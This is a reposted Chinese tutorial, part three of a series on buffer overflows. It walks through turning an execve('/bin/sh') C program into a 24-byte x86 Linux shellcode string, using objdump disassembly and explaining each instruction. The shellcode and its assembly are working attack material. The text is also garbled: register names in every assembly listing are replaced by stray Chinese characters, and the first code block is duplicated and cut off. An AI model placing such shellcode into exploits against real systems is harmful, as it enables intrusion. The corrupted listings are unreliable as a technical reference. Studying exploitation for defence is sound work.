緩沖區(qū)溢出解密三
互聯(lián)網(wǎng) 發(fā)布時(shí)間:2008-10-08 19:04:05 作者:佚名
我要評(píng)論

如何執(zhí)行 /bin/sh?
在C中,spawn出一個(gè)shell的代碼可能象這樣:
shell.c :
#include
void main()
{
char *shell[2];
shell[0] = "/bin/sh";
shell[1] = NULL;
execve(shell[0], shell, N
如何執(zhí)行 /bin/sh?
在C中,spawn出一個(gè)shell的代碼可能象這樣:
shell.c :
#include
void main()
{
char *shell[2];
shell[0] = "/bin/sh";
shell[1] = NULL;
execve(shell[0], shell, NULL);
}
[murat@victim murat]$ make shell
cc -W -Wall -pedantic -g shell.c -o shell
[murat@victim murat]$ ./shell
bash$
如果你看execve的man說(shuō)明頁(yè)($man 2 execve),你將看到execve要求一個(gè)將要執(zhí)行的文件名的指針,一個(gè)NULL終止的參數(shù)數(shù)組,和一個(gè)可以為NULL的環(huán)境指針。如果你編譯運(yùn)行了這個(gè)輸出的二進(jìn)制文件,你將看到你spawn出了一個(gè)新的shell。
目前為止一切順利……但是我們不能用這種方式spawn出一個(gè)shell,是嗎?我們?nèi)绾文苡眠@種方式把這個(gè)代碼放到漏洞程序里去呢?我們不能!
這給我們?cè)斐闪艘粋€(gè)新問(wèn)題:我們?nèi)绾文馨盐覀兊墓舸a傳給漏洞程序?我們將需要在易受攻擊的緩沖區(qū)傳遞我們的代碼,它很有可能是一段shell代碼。為了實(shí)現(xiàn)這個(gè)目標(biāo),我們必須能夠把我們的shell代碼用一個(gè)字符串表示。
因此,我們將列出所有的來(lái)spawn出一個(gè)shell的匯編指令,得到它們的運(yùn)算碼,把它們一個(gè)一個(gè)列出來(lái),然后把它們作為一個(gè)shell生成串組裝起來(lái)。
首先,讓我們看看上面的代碼(shell.c)在匯編中是什么樣子。讓我們靜態(tài)編譯程序(這個(gè)方法,execve系統(tǒng)調(diào)用也將被反匯編)然后看:
[murat@victim murat]$ gcc -static -g -o shell shell.c
[murat@victim murat]$ objdump -d shell | grep \: -A 12
0804ca10 :
804ca10: 53 pushl 離
804ca11: 8b 54 24 10 movl 0x10(%esp,1),韝
804ca15: 8b 4c 24 0c movl 0xc(%esp,1),靫
804ca19: 8b 5c 24 08 movl 0x8(%esp,1),離
804ca1d: b8 0b 00 00 00 movl $0xb,陎
804ca22: cd 80 int $0x80
804ca24: 5b popl 離
804ca25: 3d 01 f0 ff ff cmpl $0xfffff001,陎
804ca2a: 0f 83 00 02 00 jae 804cc30
804ca2f: 00
804ca30: c3 ret
804ca31: 90 nop
[murat@victim murat]$ 讓我們一步一步地分析這個(gè)系統(tǒng)調(diào)用:
記住,在我們的main()函數(shù)里,我們寫(xiě)了代碼:
execve(shell[0], shell, NULL)
我們傳遞了:
·字符串”/bin/sh”的地址
·NULL結(jié)尾數(shù)組的地址
·NULL(實(shí)際上它是環(huán)境地址)
此處,在main里面:
[murat@victim murat]$ objdump -d shell | grep \: -A 17
08048124 :
8048124: 55 pushl 雙
8048125: 89 e5 movl %esp,雙
8048127: 83 ec 08 subl $0x8,%esp
804812a: c7 45 f8 ac 92 movl $0x80592ac,0xfffffff8(雙)
804812f: 05 08
8048131: c7 45 fc 00 00 movl $0x0,0xfffffffc(雙)
8048136: 00 00
8048138: 6a 00 pushl $0x0
804813a: 8d 45 f8 leal 0xfffffff8(雙),陎
804813d: 50 pushl 陎
804813e: 8b 45 f8 movl 0xfffffff8(雙),陎
8048141: 50 pushl 陎
8048142: e8 c9 48 00 00 call 804ca10
8048147: 83 c4 0c addl $0xc,%esp
804814a: c9 leave
804814b: c3 ret
804814c: 90 nop
在調(diào)用execve(call 804ca10 )之前,我們反序把這些參數(shù)推入到堆棧中。
因此,如果我們回到__execve:
我們拷貝NULL字節(jié)到EDX寄存器,
804ca11: 8b 54 24 10 movl 0x10(%esp,1),韝
我們拷貝以NULL結(jié)尾數(shù)組的地址到ECX寄存器,
804ca15: 8b 4c 24 0c movl 0xc(%esp,1),靫
我們拷貝字符串"/bin/sh"的地址到EBX寄存器
804ca19: 8b 5c 24 08 movl 0x8(%esp,1),離
我們?yōu)閑xecve拷貝系統(tǒng)索引,即11(oxb)到EAX寄存器:
804ca1d: b8 0b 00 00 00 movl $0xb,陎
接著變成核模式:
804ca22: cd 80 int $0x80
我們需要的全部就是這么多了。然而,這里還有一些問(wèn)題。我們不能準(zhǔn)確地知道NULL結(jié)束數(shù)組和”/bin/sh”字符串的地址。那么,這個(gè)怎么樣?:
xorl 陎, 陎
pushl 陎
pushl $0x68732f2f
pushl $0x6e69622f
movl %esp,離
pushl 陎
pushl 離
movl %esp,靫
cdql
movb $0x0b,%al
int $0x80
讓我解釋一下上面的指令:
如果你進(jìn)行自身異或,你得到0,等同于NULL。這里,我們?cè)贓AX寄存器中得到一個(gè)NULL。
xorl 陎, 陎
接著我們把NULL推入堆棧:
pushl 陎
我們把字符串”//sh”推入堆棧,
2f is /
2f is /
73 is s
68 is h
pushl $0x68732f2f 我們把字符串”/bin”推入堆棧:
2f is /
62 is b
69 is i
6e is n
pushl $0x6e69622f
可以猜想,現(xiàn)在堆棧指針地址就象我們的NULL結(jié)尾字符串”/bin/sh”的地址。因?yàn)?,從指向棧頂?shù)闹羔橀_(kāi)始,我們有了一個(gè)NULL結(jié)尾的字符串?dāng)?shù)組。因此,我們拷貝堆棧指針到EBX寄存器。這樣,我們就已經(jīng)把”/bin/sh”的地址放到EBX寄存器中了。
movl %esp,離
接著我們需要用NULL結(jié)尾的數(shù)組地址設(shè)置ECX。為此,我們?cè)谖覀兊亩褩V袆?chuàng)造了一個(gè)NULL結(jié)尾的數(shù)組,與上面那個(gè)很像:首先我們PUSH一個(gè)NULL。我們不能PUSH NULL,但是我們能PUSH值為NULL的東西,回顧我們異或EAX寄存器在那我們得到了NULL,因此讓我們PUSH EAX來(lái)在堆棧中得到一個(gè)NULL。
pushl 陎
接著,我們PUSH我們的字符串的地址到堆棧,這等同于shell[0]:
pushl 離
現(xiàn)在我們有一個(gè)NULL結(jié)尾數(shù)組的指針,我們能夠在ECX中保存它的地址:
movl %esp,靫
我們還需要其它什么呢?一個(gè)在EDX寄存器中的NULL。我們能movl 陎, 韝,但是我們能用一個(gè)短的指令完成這個(gè)操作:cdq。這個(gè)指令是把EAX中的符號(hào)位擴(kuò)展到EDX。:
cdql
我們?cè)O(shè)定EAX 為0xb,這是系統(tǒng)調(diào)用表中的系統(tǒng)調(diào)用id。
movb $0x0b,%al
接著,我們轉(zhuǎn)換到核模式:
int 0x80
之后,我們進(jìn)到核模式,內(nèi)核將調(diào)用exec函數(shù)執(zhí)行我們指示給它的:/bin/sh 這樣我們將進(jìn)入一個(gè)交互shell…… 因此,在講了這么多以后,我們所要做的全部就是把這些匯編指令轉(zhuǎn)換到一個(gè)字符串中。因此,讓我們得到這些十六進(jìn)制運(yùn)賽碼然后匯編我們的攻擊代碼:
sc.c :
char newsc[]= /* 24 bytes */
"\x31\xc0" /* xorl 陎,陎 */
"\x50" /* pushl 陎 */
"\x68""//sh" /* pushl $0x68732f2f */
"\x68""/bin" /* pushl $0x6e69622f */
"\x89\xe3" /* movl %esp,離 */
"\x50" /* pushl 陎 */
"\x53" /* pushl 離 */
"\x89\xe1" /* movl %esp,靫 */
"\x99" /* cdql */
"\xb0\x0b" /* movb $0x0b,%al */
"\xcd\x80" /* int $0x80 */
;
main()
{
}
[murat@victim newsc]$ gcc -g -o sc sc.c
[murat@victim newsc]$ objdump -D sc | grep \ -A13
080494b0 :
80494b0: 31 c0 xorl 陎,陎
80494b2: 50 pushl 陎
80494b3: 68 2f 2f 73 68 pushl $0x68732f2f
80494b8: 68 2f 62 69 6e pushl $0x6e69622f
80494bd: 89 e3 movl %esp,離
80494bf: 50 pushl 陎
80494c0: 53 pushl 離
80494c1: 89 e1 movl %esp,靫
80494c3: 99 cltd
80494c4: b0 0b movb $0xb,%al
80494c6: cd 80 int $0x80
80494c8: 00 00 addb %al,(陎)
...
[murat@victim newsc]$
在上面的圖中,第一行是指令內(nèi)存地址,接下面的行是匯編指令的運(yùn)算碼,這也是我們興趣所在,而最后一行是與運(yùn)算碼相關(guān)的匯編指令。
相關(guān)文章
- “CMOS密碼”就是通常所說(shuō)的“開(kāi)機(jī)密碼”,主要是為了防止別人使用自已的計(jì)算機(jī),設(shè)置的一個(gè)屏障2023-08-01
QQScreenShot之逆向并提取QQ截圖--OCR和其他功能
上一篇文章逆向并提取QQ截圖沒(méi)有提取OCR功能, 再次逆向我發(fā)現(xiàn)是可以本地調(diào)用QQ的OCR的,但翻譯按鈕確實(shí)沒(méi)啥用, 于是Patch了翻譯按鈕事件, 改為了將截圖用百度以圖搜圖搜索.2023-02-04- QQ截圖是我用過(guò)的最好用的截圖工具, 由于基本不在電腦上登QQ了, 于是就想將其提取出獨(dú)立版目前除了屏幕錄制功能其他都逆出來(lái)了, 在此分享一下2023-02-04
非系統(tǒng)分區(qū)使用BitLocker加密導(dǎo)致軟件無(wú)法安裝的解決方法
很多電腦用戶在考慮自己電腦磁盤(pán)分區(qū)安全時(shí)會(huì)采用 Windows 自帶的 BitLocker 加密工具對(duì)電腦磁盤(pán)分區(qū)進(jìn)行加密。但有些人加密后就會(huì)忘記自己設(shè)置的密碼從而導(dǎo)致在安裝其它軟2020-11-25防止離職員工帶走客戶、防止內(nèi)部員工泄密、避免華為員工泄密事件的發(fā)生
這篇文章為大家詳細(xì)介紹了如何才能防止離職員工帶走客戶、防止內(nèi)部員工泄密、避免華為員工泄密事件的發(fā)生,具有一定的參考價(jià)值,感興趣的小伙伴們可以參考一下2017-06-27徹底防止計(jì)算機(jī)泄密、重要涉密人員離職泄密、涉密人員離崗離職前防范舉
近些年企業(yè)商業(yè)機(jī)密泄漏的事件屢有發(fā)生,這篇文章主要教大家如何徹底防止計(jì)算機(jī)泄密、重要涉密人員離職泄密、告訴大家涉密人員離崗離職前的防范舉措,具有一定的參考價(jià)值,2017-06-27量子計(jì)算機(jī)輕松破解加密算法 如何破解加密算法?
最近有電腦用戶反應(yīng)量子計(jì)算機(jī)可以破解下載的所有的加密算法嗎?其實(shí)也不是不可以,下面虛擬就為大家講解買(mǎi)臺(tái)量子計(jì)算機(jī),如何分分鐘破解加密算法2016-09-26怎么破解Webshell密碼 Burpsuite破解Webshell密碼圖文教程
webshell是以asp、php、jsp或者cgi等網(wǎng)頁(yè)文件形式存在的一種命令執(zhí)行環(huán)境,一種網(wǎng)頁(yè)后門(mén)。黑客通常會(huì)通過(guò)它控制別人網(wǎng)絡(luò)服務(wù)器,那么怎么破解webshell密碼呢?一起來(lái)看看吧2016-09-19針對(duì)Linux系統(tǒng)全盤(pán)加密的啟動(dòng)攻擊
本文討論了針對(duì)Linux系統(tǒng)全盤(pán)加密的冷啟動(dòng)攻擊,大家都認(rèn)為這種攻擊是可行的,但執(zhí)行這么一次攻擊有多難?攻擊的可行性有多少呢?需要的朋友可以參考下2015-12-28防止泄露公司機(jī)密、企業(yè)數(shù)據(jù)防泄密軟件排名、電腦文件加密軟件排行
面對(duì)日漸嚴(yán)重的內(nèi)部泄密事件,我們?nèi)绾问刈o(hù)企業(yè)的核心信息,如何防止內(nèi)部泄密也就成了擺在各個(gè)企業(yè)領(lǐng)導(dǎo)面前的一大問(wèn)題。其實(shí),針對(duì)內(nèi)網(wǎng)安全,防止內(nèi)部信息泄漏早已有了比較2015-12-17